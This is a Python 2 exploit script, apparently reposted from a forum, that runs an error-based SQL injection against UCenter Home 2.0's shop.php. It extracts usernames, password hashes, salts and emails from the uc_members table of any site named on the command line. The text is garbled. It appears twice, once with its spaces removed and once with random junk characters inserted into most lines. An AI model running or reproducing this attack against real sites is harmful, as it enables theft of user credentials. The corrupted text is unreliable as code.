#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl. F8 x3 q7 T+ b
" x1 Q9 ?& j9 V8 \; C
2 V: Z u0 `& V' ^#!/usr/bin/env python 4 l' ~% r& }( m6 J" g+ @/ r
3 M7 r6 \0 n2 {. z( J
import sys 5 c! M% s& g& }. @: @
import urllib2
2 A- Q) v- Y: p6 f; r) t2 _import re
5 \: L/ h4 {) n& B0 X3 Z 1 g, w2 A5 n- l+ D8 Y; R
def info():
/ n6 G( g, R/ g' A8 M print 'From:http://www.exploit-db.com/exploits/14997/'
9 c8 b5 y! v* U- A$ \; b7 Q print 'http://www.hake.cc/Web_loudong/'
4 N6 \2 \8 [% q2 C/ M print 'changed:qiaoy'
2 I7 K2 v; h: x print 'exp:'
% \/ W9 G4 X( U8 h print ' ./UCenter_Home_2.0.py site' & G- D% }! q* l
. c; y- D0 \- ]; l
def main():
8 A) u7 d! G$ b0 y* d- Y if len(sys.argv) != 2: . w( k g6 V; t) |
info()
- d; M! r! h* k, J! a% _( i else: 7 }, M( Q% p3 f& p) b% u
site = sys.argv[1]
) U7 K6 c. b7 V5 u: g if site[0:7] == 'http://': 9 Z" Y% O& y' U2 ^( n2 t1 T
sitesite =site * g5 X/ q/ A9 h) S( n* Z) D& l3 `6 _9 P
elif site[0:8] == 'https://':
& Z& b7 M* ]1 a! m9 I sitesite = site , M% g% h. q. C6 \% I9 v. x; Z; ]
else:
) U L4 l2 p0 Z7 E" M* b& K9 | site = 'http://'+site
3 p+ s3 ?+ z- S) j% k try: & B( f5 g% `+ c0 \2 w; M2 r7 [
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
1 e$ `# T, E9 ]2 r. Q Value = urllib2.urlopen(url).read()
( o( @2 I4 L# Y Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] ; N/ J! q9 L2 ?( n1 L- h
hacked = Msg.split(':')
( y6 p( l$ _8 Q$ k8 R. ] print 'Name: '+hacked[1]
2 c+ y8 a ^4 N2 F4 m( n" | print 'Passwd: '+hacked[2] - o5 o2 R; W4 ?$ M& a3 J3 \
print 'salt: '+hacked[3]
, {1 U. i; E( S+ [1 w print 'email: '+hacked[4] . w; a' i2 F2 Z- [( r9 j' v
except:
0 Q6 P& ]! A' r6 M$ G; u+ O" h# y' ~ print 'Sorry,I can\'t work............'
! G" x) `6 Q6 E
$ x# L2 a, s% w f1 ~: jif __name__ == '__main__': : t! M$ N0 v" b2 `
main() |